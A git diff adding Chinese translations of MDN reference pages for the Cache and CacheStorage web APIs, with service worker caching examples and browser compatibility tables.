+ +

参数

+ +
+
requests
+
要获取并添加到缓存的字符串URL数组。
+
+ +

返回值

+ +

A {{jsxref("Promise")}} that resolves with void.

+ +

Exceptions

+ + + + + + + + + + + + + + +
ExceptionHappens when
TypeError +

The URL scheme is not http or https.

+ +

The Response status is not in the 200 range (i.e., not a successful response.) This occurs if the request does not return successfully, but also if the request is a cross-origin no-cors request (in which case the reported status is always 0.)

+
+ +

示例

+ +

此代码块等待一个 {{domxref("InstallEvent")}} 事件触发,然后运行 {{domxref("ExtendableEvent.waitUntil","waitUntil")}} 来处理该应用程序的安装进程。 包括调用 {{domxref("CacheStorage.open")}} 创建一个新的cache,然后使用 addAll() 添加一系列资源。

+ +
this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#cache', 'Cache')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(46.0)}}{{CompatVersionUnknown}}[1]{{CompatNo}}24{{CompatNo}}
Require HTTPS{{CompatChrome(46.0)}}{{CompatVersionUnknown}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
TypeError if request is not successful{{CompatVersionUnknown}}{{CompatGeckoDesktop(47.0)}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(46.0)}}
Require HTTPS{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(46.0)}}
TypeError if request is not successful{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 & 52 Extended Support Releases (ESR.)

+ +

参见

+ + diff --git a/files/zh-cn/web/api/cache/delete/index.html b/files/zh-cn/web/api/cache/delete/index.html new file mode 100644 index 0000000000..f6b20ab981 --- /dev/null +++ b/files/zh-cn/web/api/cache/delete/index.html @@ -0,0 +1,150 @@ +--- +title: Cache.delete() +slug: Web/API/Cache/delete +tags: + - API + - Cache +translation_of: Web/API/Cache/delete +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

{{domxref("Cache")}} 接口的 delete() 方法查询request为key的 {{domxref("Cache")}} 条目,如果找到,则删除该 {{domxref("Cache")}} 条目并返回resolve为true的 {{jsxref("Promise")}} 。 如果没有找到,则返回resolve为false的 {{jsxref("Promise")}} 。

+ +

语法

+ +
cache.delete(request,{options}).then(function(true) {
+  //your cache entry has been deleted
+});
+
+ +

返回值

+ +

如果cache条目被删除,则返回resolve为true的 {{jsxref("Promise")}},否则,返回resolve为false的 {{jsxref("Promise")}}。

+ +

参数

+ +
+
request
+
请求删除的 {{domxref("Request")}}。
+
options {{optional_inline}}
+
一个对象,其属性控制删除操作中如何处理匹配缓存。可用的选项是: +
    +
  • ignoreSearch: 一个 {{domxref("Boolean")}} 值,指定匹配进程中是否忽略url中的查询字符串。如果设置为true,http://foo.com/?value=bar 中的 ?value=bar 部分在执行匹配时会被忽略。默认为false。
  • +
  • ignoreMethod: 一个 {{domxref("Boolean")}} 值,当设置为true时,将阻止匹配操作验证{domxref("Request")}} HTTP方法(通常只允许GET和HEAD)。默认为false。
  • +
  • ignoreVary: 一个 {{domxref("Boolean")}} 值,当设置为true时,告诉匹配操作不执行VARY头匹配。In other words, if the URL matches you will get a match regardless of  whether the {{domxref("Response")}} object has a VARY header. 默认为false。
  • +
  • cacheName: A {{domxref("DOMString")}} that represents a specific cache to search within. Note that this option is ignored by Cache.delete().
  • +
+
+
+ +

示例

+ +
caches.open('v1').then(function(cache) {
+  cache.delete('/images/image.png').then(function(response) {
+    someUIUpdateFunction();
+  });
+})
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#cache', 'Cache')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}[1]{{CompatGeckoDesktop(39)}}[2]{{CompatNo}}{{CompatOpera(24)}}{{CompatNo}}
All options supported{{CompatChrome(54.0)}}  {{CompatOpera(41)}} 
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(39)}}{{CompatUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatChrome(40.0)}}[1]
All options supported{{CompatNo}}{{CompatNo}}   {{CompatOperaMobile(41)}} {{CompatChrome(54.0)}}
+
+ +

[1] The options parameter only supports ignoreSearch, and cacheName

+ +

[2] Service workers (and Push) have been disabled in the Firefox 45 & 52 Extended Support Releases (ESR.)

+ +

参见

+ + diff --git a/files/zh-cn/web/api/cache/index.html b/files/zh-cn/web/api/cache/index.html new file mode 100644 index 0000000000..9e51499607 --- /dev/null +++ b/files/zh-cn/web/api/cache/index.html @@ -0,0 +1,282 @@ +--- +title: Cache +slug: Web/API/Cache +tags: + - API + - Cache + - Offline + - Service Workers + - Storage +translation_of: Web/API/Cache +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

Cache 接口为缓存的 Request / Response  对象对提供存储机制,例如,作为{{domxref("ServiceWorker")}} 生命周期的一部分。请注意,Cache 接口像 workers 一样,是暴露在 window 作用域下的。尽管它被定义在 service worker 的标准中,  但是它不必一定要配合 service worker 使用.

+ +

一个域可以有多个命名 Cache 对象。你需要在你的脚本 (例如,在 {{domxref("ServiceWorker")}} 中)中处理缓存更新的方式。除非明确地更新缓存,否则缓存将不会被更新;除非删除,否则缓存数据不会过期。使用 {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}} 打开一个Cache 对象,再使用 Cache 对象的方法去处理缓存.

+ +

你需要定期地清理缓存条目,因为每个浏览器都硬性限制了一个域下缓存数据的大小。缓存配额使用估算值,可以使用 {{domxref("StorageEstimate")}} API 获得。浏览器尽其所能去管理磁盘空间,但它有可能删除一个域下的缓存数据。浏览器要么自动删除特定域的全部缓存,要么全部保留。确保按名称安装版本缓存,并仅从可以安全操作的脚本版本中使用缓存。查看 Deleting old caches 获取更多信息.

+ +
+

Note: {{domxref("Cache.put")}}, {{domxref("Cache.add")}}和{{domxref("Cache.addAll")}}只能在GET请求下使用。

+
+ +
+

Note: Initial Cache implementations (in both Blink and Gecko) resolve {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, and {{domxref("Cache.put")}} promises when the response body is fully written to storage.  More recent spec versions have newer language stating that the browser can resolve the promise as soon as the entry is recorded in the database even if the response body is still streaming in.

+
+ +
+

Note: 自Chrome 46版本起,Cache API只保存安全来源的请求,即那些通过HTTPS服务的请求。

+
+ +
+

Note: The key matching algorithm depends on the VARY header in the value. So matching a new key requires looking at both key and value for entries in the Cache.

+
+ +
+

Note: Cache API不支持HTTP缓存头。

+
+ +

方法

+ +
+
{{domxref("Cache.match", "Cache.match(request, options)")}}
+
返回一个 {{jsxref("Promise")}}对象,resolve的结果是跟 {{domxref("Cache")}} 对象匹配的第一个已经缓存的请求。
+
{{domxref("Cache.matchAll", "Cache.matchAll(request, options)")}}
+
返回一个{{jsxref("Promise")}} 对象,resolve的结果是跟{{domxref("Cache")}}对象匹配的所有请求组成的数组。
+
{{domxref("Cache.add", "Cache.add(request)")}}
+
抓取这个URL, 检索并把返回的response对象添加到给定的Cache对象.这在功能上等同于调用 fetch(), 然后使用 Cache.put() 将response添加到cache中.
+
{{domxref("Cache.addAll", "Cache.addAll(requests)")}}
+
抓取一个URL数组,检索并把返回的response对象添加到给定的Cache对象。
+
{{domxref("Cache.put", "Cache.put(request, response)")}}
+
同时抓取一个请求及其响应,并将其添加到给定的cache。
+
{{domxref("Cache.delete", "Cache.delete(request, options)")}}
+
搜索key值为request的{{domxref("Cache")}} 条目。如果找到,则删除该{{domxref("Cache")}} 条目,并且返回一个resolve为true的{{jsxref("Promise")}}对象;如果未找到,则返回一个resolve为false的{{jsxref("Promise")}}对象。
+
{{domxref("Cache.keys", "Cache.keys(request, options)")}}
+
返回一个{{jsxref("Promise")}}对象,resolve的结果是{{domxref("Cache")}}对象key值组成的数组。
+
+ +

示例

+ +

此代码段来自 service worker selective caching sample. (请参阅 selective caching live) 。该代码使用{{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}} 打开任何具有以font/开始的Content-Type头的{{domxref("Cache")}}对象。

+ +

代码然后使用{{domxref("Cache.match", "Cache.match(request, options)")}}查看缓存中是否已经有一个匹配的font,如果是,则返回它。 如果没有匹配的字体,代码将通过网络获取字体,并使用 {{domxref("Cache.put","Cache.put(request, response)")}}来缓存获取的资源。

+ +

代码处理从{{domxref("Globalfetch.fetch","fetch()")}} 操作抛出的异常。 请注意,HTTP错误响应(例如404)不会触发异常。 它将返回一个具有相应错误代码集的正常响应对象。

+ +

该代码片段还展示了服务工作线程使用的缓存版本控制的最佳实践。 虽然在这个例子中只有一个缓存,但同样的方法可用于多个缓存。 它将缓存的速记标识符映射到特定的版本化缓存名称。 代码还会删除命名不在CURRENT_CACHES中的所有缓存。

+ +
注意: 在Chrome中,请访问chrome://inspect/#service-workers ,然后单击注册的服务工作线程下面的“inspect”链接,查看 service-worker.js 脚本正在执行的各种操作的日志记录。
+ +
var CACHE_VERSION = 1;
+
+// 简写标识符映射到特定版本的缓存。
+var CURRENT_CACHES = {
+  font: 'font-cache-v' + CACHE_VERSION
+};
+
+self.addEventListener('activate', function(event) {
+  var expectedCacheNames = Object.keys(CURRENT_CACHES).map(function(key) {
+    return CURRENT_CACHES[key];
+  });
+
+  // 在promise成功完成之前,活跃的worker不会被视作已激活。
+  event.waitUntil(
+    caches.keys().then(function(cacheNames) {
+      return Promise.all(
+        cacheNames.map(function(cacheName) {
+          if (expectedCacheNames.indexOf(cacheName) == -1) {
+            console.log('Deleting out of date cache:', cacheName);
+
+            return caches.delete(cacheName);
+          }
+        })
+      );
+    })
+  );
+});
+
+self.addEventListener('fetch', function(event) {
+  console.log('Handling fetch event for', event.request.url);
+
+  event.respondWith(
+
+    // 打开以'font'开头的Cache对象。
+    caches.open(CURRENT_CACHES['font']).then(function(cache) {
+      return cache.match(event.request).then(function(response) {
+        if (response) {
+          console.log(' Found response in cache:', response);
+
+          return response;
+        }
+      }).catch(function(error) {
+
+        // 处理match()或fetch()引起的异常。
+        console.error('  Error in fetch handler:', error);
+
+        throw error;
+      });
+    })
+  );
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#cache', 'Cache')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}{{CompatGeckoDesktop(39)}}[1]{{CompatNo}}24{{CompatNo}}
add(){{CompatChrome(44.0)}}{{CompatVersionUnknown}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
addAll(){{CompatChrome(46.0)}}{{CompatVersionUnknown}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
matchAll(){{CompatChrome(47.0)}}{{CompatVersionUnknown}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Require HTTPS for add(), addAll(), and put(){{CompatChrome(46.0)}}{{CompatVersionUnknown}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(39)}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(40.0)}}
add(){{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(44.0)}}
addAll(){{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(46.0)}}
matchAll(){{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(46.0)}}
Require HTTPS for add(), addAll(), and put(){{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(46.0)}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 Extended Support Release (ESR.)

+ +

参见

+ + diff --git a/files/zh-cn/web/api/cache/keys/index.html b/files/zh-cn/web/api/cache/keys/index.html new file mode 100644 index 0000000000..10be6eb859 --- /dev/null +++ b/files/zh-cn/web/api/cache/keys/index.html @@ -0,0 +1,136 @@ +--- +title: Cache.keys() +slug: Web/API/Cache/keys +translation_of: Web/API/Cache/keys +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

 {{domxref("Cache")}} 接口的 keys() 方法返回一个 {{jsxref("Promise")}} ,这个 {{jsxref("Promise")}} 将解析为一个{{domxref("Cache")}} 键的数组。

+ +

请求将以它们被插入的顺序返回。

+ +
+

注意: 具有相同URL但不同请求头的请求,如果它们的响应头中有 VARY 头部,则他们可以被返回。

+
+ +

语法

+ +
cache.keys(request,{options}).then(function(keys) {
+  //do something with your array of requests
+});
+
+ +

返回值

+ +

返回一个解析为 {{domxref("Cache")}} 键数组的 {{jsxref("Promise")}}。

+ +

参数

+ +
+
request {{optional_inline}}
+
如果一个相关键被指定,则返对应的 {{domxref("Request")}} 。
+
options {{optional_inline}}
+
一个对象,它的属性决定了 keys 操作中的匹配操作是如何执行的。可选的属性有: +
    +
  • ignoreSearch: 一个 {{domxref("Boolean")}} 值,指定了匹配操作是否忽略url中的查询部分。如果为 true ,在执行匹配操作时, http://foo.com/?value=bar 的 ?value=bar 部分将会被忽。默认为 false 。
  • +
  • ignoreMethod: 一个 {{domxref("Boolean")}} 值,当为 true 时, 将会阻止匹配操作验证 {{domxref("Request")}} 的 HTTP 方法(通常只有 GET 和 HEAD 方法被允许)。默认为 false 。
  • +
  • ignoreVary: 一个 {{domxref("Boolean")}} 值,当为 true 时,告诉匹配操作不要验证 VARY 头部。换句话说,如果 URL 匹配,你会得到一个匹配而不管 {{domxref("Response")}} 对象是否有 VARY 头部。默认为 false 。
  • +
  • cacheName: 一个 {{domxref("DOMString")}} 值,描述了在一个特定的 cache 中进行匹配。注意这个选项会被 Cache.keys()方法忽略。
  • +
+
+
+ +

示例

+ +
caches.open('v1').then(function(cache) {
+  cache.keys().then(function(keys) {
+    keys.forEach(function(request, index, array) {
+      cache.delete(request);
+    });
+  });
+})
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Service Workers', '#cache', 'Cache')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}[1]{{CompatGeckoDesktop(39)}}[2]{{CompatNo}}24{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(39)}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(40.0)}}[1]
+
+ +

[1] 可选参数只支持 ignoreSearch 和 cacheName 

+ +

[2] Service workers (以及Push) 在 Firefox 45 Extended Support Release (ESR) 中已经被禁止了。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/cache/match/index.html b/files/zh-cn/web/api/cache/match/index.html new file mode 100644 index 0000000000..6670556654 --- /dev/null +++ b/files/zh-cn/web/api/cache/match/index.html @@ -0,0 +1,173 @@ +--- +title: Cache.match() +slug: Web/API/Cache/match +tags: + - Cache.match() + - ServiceWorker + - match + - 实验性的 +translation_of: Web/API/Cache/match +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

{{domxref("Cache")}} 接口的 match() 方法, 返回一个 {{jsxref("Promise")}} 解析为(resolve to)与 {{domxref("Cache")}} 对象中的第一个匹配请求相关联的{{domxref("Response")}} 。如果没有找到匹配,{{jsxref("Promise")}} 解析为 {{jsxref("undefined")}}。

+ +

语法

+ +
cache.match(request,{options}).then(function(response) {
+  //操作response
+});
+
+ +

返回值

+ +

一个 {{jsxref("Promise")}} 对象,该对象解析为第一个匹配请求的 {{domxref("Response")}} 对象,如果没有匹配到,则解析到 {{jsxref("undefined")}} 。

+ +
+

Note: Cache.match() 基本上和 {{domxref("Cache.matchAll()")}} 一样, 只不过 Cache.match() 只解析为 response[0] (第一个匹配的响应(response)对象) 而不是 response[] (所有响应对象组成的数组)。

+
+ +

参数

+ +
+
request
+
在{{domxref("Cache")}}对象中查找的{{domxref("Request")}}对象对应的response。这个{{domxref("Request")}}可以是 object 或者是一个URL.
+
options {{optional_inline}}
+
一个为 match 操作设置选项的对象。有效的选项如下: +
    +
  • ignoreSearch: 一个 {{domxref("Boolean")}} 值用来设置是否忽略url中的query部分。例如, 如果该参数设置为 true ,那么 http://foo.com/?value=bar中的 ?value=bar 部分就会在匹配中被忽略. 该选项默认为 false
  • +
  • ignoreMethod: 一个 {{domxref("Boolean")}} 值,如果设置为 true在匹配时就不会验证 {{domxref("Request")}} 对象的http 方法 (通常只允许是 GET 或 HEAD 。) 该参数默认值为 false
  • +
  • ignoreVary: 一个 {{domxref("Boolean")}} 值,该值如果为 true 则匹配时不进行 VARY 部分的匹配。例如,如果一个URL匹配,此时无论{{domxref("Response")}}对象是否包含VARY头部,都会认为是成功匹配。该参数默认为 false
  • +
  • cacheName: 一个 {{domxref("DOMString")}} ,代表一个具体的要被搜索的缓存。注意该选项被 Cache.match()方法忽略。
  • +
+
+
+ +

例子

+ +

这个是个来自 custom offline page 的例子 (live demo)。

+ +

下面的例子在请求失败时提供特定的数据。 catch() 在 fetch() 的调用抛出异常时触发。在 catch() 语句中, match()用来返回正确的响应。

+ +

在这个例子中,我们决定只缓存通过GET取得的HTML文档. 如果 if() 条件是 false,那么这个fetch处理器就不会处理这个请求。如果还有其他的fetch处理器被注册,它们将有机会调用 event.respondWith() 如果没有fetch处理器调用 event.respondWith() ,该请求就会像没有 service worker 介入一样由浏览器处理。如果 fetch() 返回了有效的HTTP响应,相应码是4xx或5xx,那么catch() 就不会被调用。

+ +
self.addEventListener('fetch', function(event) {
+  // 我们只想在用GET方法请求HTML文档时调用 event.respondWith()。
+  if (event.request.method === 'GET' &&
+      event.request.headers.get('accept').indexOf('text/html') !== -1) {
+    console.log('Handling fetch event for', event.request.url);
+    event.respondWith(
+      fetch(event.request).catch(function(e) {
+        console.error('Fetch failed; returning offline page instead.', e);
+        return caches.open(OFFLINE_CACHE).then(function(cache) {
+          return cache.match(OFFLINE_URL);
+        });
+      })
+    );
+  }
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#cache', 'Cache')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}} [1]{{CompatGeckoDesktop(39)}}[2]{{CompatNo}}{{CompatOpera(24)}}{{CompatNo}}
All options supported{{CompatChrome(54.0)}}{{CompatOpera(41)}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(39)}}{{CompatUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatChrome(40.0)}} [1]
All options supported{{CompatNo}}{{CompatNo}}{{CompatOperaMobile(41)}}{{CompatChrome(54.0)}}
+
+ + + +

参阅

+ + diff --git a/files/zh-cn/web/api/cache/matchall/index.html b/files/zh-cn/web/api/cache/matchall/index.html new file mode 100644 index 0000000000..bfb069914d --- /dev/null +++ b/files/zh-cn/web/api/cache/matchall/index.html @@ -0,0 +1,82 @@ +--- +title: Cache.matchAll() +slug: Web/API/Cache/matchAll +translation_of: Web/API/Cache/matchAll +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

{{domxref("Cache")}} 接口的 matchAll() 方法返回一个 {{jsxref("Promise")}} ,其 resolve 为 {{domxref("Cache")}} 对象中所有匹配请求的数组。

+ +

语法

+ +
cache.matchAll(request,{options}).then(function(response) {
+  //do something with the response array
+});
+
+ +

返回值

+ +

一个 {{jsxref("Promise")}},resolve为 {{domxref("Cache")}} 对象中所有匹配请求的数组。

+ +
+

注意: {{domxref("Cache.match()")}} 基本上与Cache.matchAll() 相同,除了它 resolve 为 response[0] (即第一个匹配响应) 而不是 response (数组中所有匹配的响应)。

+
+ +

参数

+ +
+
request {{optional_inline}}
+
{{domxref("Cache")}} 中你尝试查找的The {{domxref("Request")}} . 如果忽略这一参数,你将获取到cache中所有 response 的副本。
+
options {{optional_inline}}
+
一个选项对象,允许你为 match 操作中要做的匹配设置特定控制选项。可用选项包括: +
    +
  • ignoreSearch: 一个 {{domxref("Boolean")}} 值用来设置匹配操作是否忽略url中的query部分。如果该参数设置为 true ,那么 http://foo.com/?value=bar 中的 ?value=bar 部分就会在匹配中被忽略. 该选项默认为 false
  • +
  • ignoreMethod: 一个 {{domxref("Boolean")}} 值,如果设置为 true在匹配时就不会验证 {{domxref("Request")}} 对象的http 方法 (通常只允许是 GET 或 HEAD 。) 该参数默认值为 false
  • +
  • ignoreVary: 一个 {{domxref("Boolean")}} 值,该值如果为 true 则匹配时不进行 VARY 部分的匹配。例如,如果一个URL匹配,此时无论{{domxref("Response")}}对象是否包含VARY头部,都会认为是成功匹配。该参数默认为 false
  • +
  • cacheName: 一个 {{domxref("DOMString")}} ,代表一个具体的要被搜索的缓存。注意该选项被Cache.matchAll()方法忽略。
  • +
+
+
+ +

示例

+ +
caches.open('v1').then(function(cache) {
+  cache.matchAll('/images/').then(function(response) {
+    response.forEach(function(element, index, array) {
+      cache.delete(element);
+    });
+  });
+})
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#dom-cache-matchall', 'Cache: matchAll')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Cache.matchAll")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/cache/put/index.html b/files/zh-cn/web/api/cache/put/index.html new file mode 100644 index 0000000000..24974d98fc --- /dev/null +++ b/files/zh-cn/web/api/cache/put/index.html @@ -0,0 +1,109 @@ +--- +title: Cache.put() +slug: Web/API/Cache/put +translation_of: Web/API/Cache/put +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

{{domxref("Cache")}} 接口的  put() 方法 允许将键/值对添加到当前的 {{domxref("Cache")}} 对象中.

+ +

通常,你只想 {{domxref("GloblFetch.fetch","fetch()")}} 一个或多个请求,然后直接添加结果到cache中。这种情况下,最好使用 {{domxref("Cache.add","Cache.add()")}}/{{domxref("Cache.addAll","Cache.addAll()")}},因为它们是一个或者多个这些操作的便捷方法。

+ +
fetch(url).then(function(response) {
+  if (!response.ok) {
+    throw new TypeError('Bad response status');
+  }
+  return cache.put(url, response);
+})
+
+
+ +
+

注意: put() 将覆盖先前存储在匹配请求的cache中的任何键/值对。

+
+ +
+

注意: {{domxref("Cache.add")}}/{{domxref("Cache.addAll")}} 不会缓存 Response.status 值不在200范围内的响应,而 {{domxref("Cache.put")}} 允许你存储任何请求/响应对。因此,{{domxref("Cache.add")}}/{{domxref("Cache.addAll")}} 不能用于不透明的响应,而 {{domxref("Cache.put")}} 可以。

+
+ +
+

注意: 当响应主体完全写入磁盘时,初始Cache执行 (在 Blink 和 Gecko中) resolve {{domxref("Cache.add")}}、{{domxref("Cache.addAll")}} 和 {{domxref("Cache.put")}} promise.  更新的规范版本中声明:即使响应主体仍在流式传输,一旦条目被记录到数据库中,浏览器就可以 resolve promise.

+
+ +

语法

+ +
cache.put(request, response).then(function() {
+  // request/response pair has been added to the cache
+});
+
+ +

参数

+ +
+
request
+
The {{domxref("Request")}} you want to add to the cache.
+
response
+
The {{domxref("Response")}} you want to match up to the request.
+
+ +

返回值

+ +

A {{jsxref("Promise")}} that resolves with void.

+ +
+

Note: The promise will reject with a TypeError if the URL scheme is not http or https.

+
+ +

示例

+ +

This example is from the MDN sw-test example (see sw-test running live). Here we wait for a {{domxref("FetchEvent")}} to fire. We construct a custom response like so:

+ +
    +
  1. Check whether a match for the request is found in the {{domxref("CacheStorage")}} using {{domxref("CacheStorage.match","CacheStorage.match()")}}. If so, serve that.
  2. +
  3. If not, open the v1 cache using open(), put the default network request in the cache using {{domxref("Cache.put","Cache.put()")}} and return a clone of the default network request using return response.clone(). Clone is needed because put() consumes the response body.
  4. +
  5. If this fails (e.g., because the network is down), return a fallback response.
  6. +
+ +
var response;
+var cachedResponse = caches.match(event.request).catch(function() {
+  return fetch(event.request);
+}).then(function(r) {
+  response = r;
+  caches.open('v1').then(function(cache) {
+    cache.put(event.request, response);
+  });
+  return response.clone();
+}).catch(function() {
+  return caches.match('/sw-test/gallery/myLittleVader.jpg');
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#cache', 'Cache')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Cache.put")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/cachestorage/delete/index.html b/files/zh-cn/web/api/cachestorage/delete/index.html new file mode 100644 index 0000000000..d41dd26026 --- /dev/null +++ b/files/zh-cn/web/api/cachestorage/delete/index.html @@ -0,0 +1,125 @@ +--- +title: CacheStorage.delete() +slug: Web/API/CacheStorage/delete +translation_of: Web/API/CacheStorage/delete +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

{{domxref("CacheStorage")}} 接口的 delete() 方法查找匹配 cacheName 的 {{domxref("Cache")}} 对象,如果找到,则删除 {{domxref("Cache")}} 对象并返回一个resolve为true的 {{jsxref("Promise")}} . 如果未找到 {{domxref("Cache")}} 对象,则返回 false.

+ +

语法

+ +
caches.delete(cacheName).then(function(true) {
+  //your cache is now deleted
+});
+
+ +

Returns

+ +

如果找到 {{domxref("Cache")}} 对象,删除它,返回一个resolve为 true 的 {{jsxref("Promise")}} ,否则,返回 false .

+ +

Parameters

+ +
+
cacheName
+
想要删除的 cache 对象的名称。
+
+ +

实例

+ +

在此代码片段中,我们等待一个activate事件,然后运行一个 {{domxref("ExtendableEvent.waitUntil","waitUntil()")}} 块,其在一个新的 service worker 被激活前清除所有旧的、未使用的cache. 这里我们有一个白名单,其中包含我们想要保留的cache的name. 我们使用 {{domxref("CacheStorage.keys")}} 返回 {{domxref("CacheStorage")}} 对象中cache的键,然后检查每个键值,以查看它是否在白名单中。如果没有,我们使用 delete() 删除它。

+ +
this.addEventListener('activate', function(event) {
+  var cacheWhitelist = ['v2'];
+
+  event.waitUntil(
+    caches.keys().then(function(keyList) {
+      return Promise.all(keyList.map(function(key) {
+        if (cacheWhitelist.indexOf(key) === -1) {
+          return caches.delete(key);
+        }
+      }));
+    })
+  );
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#cache-storage', 'CacheStorage')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

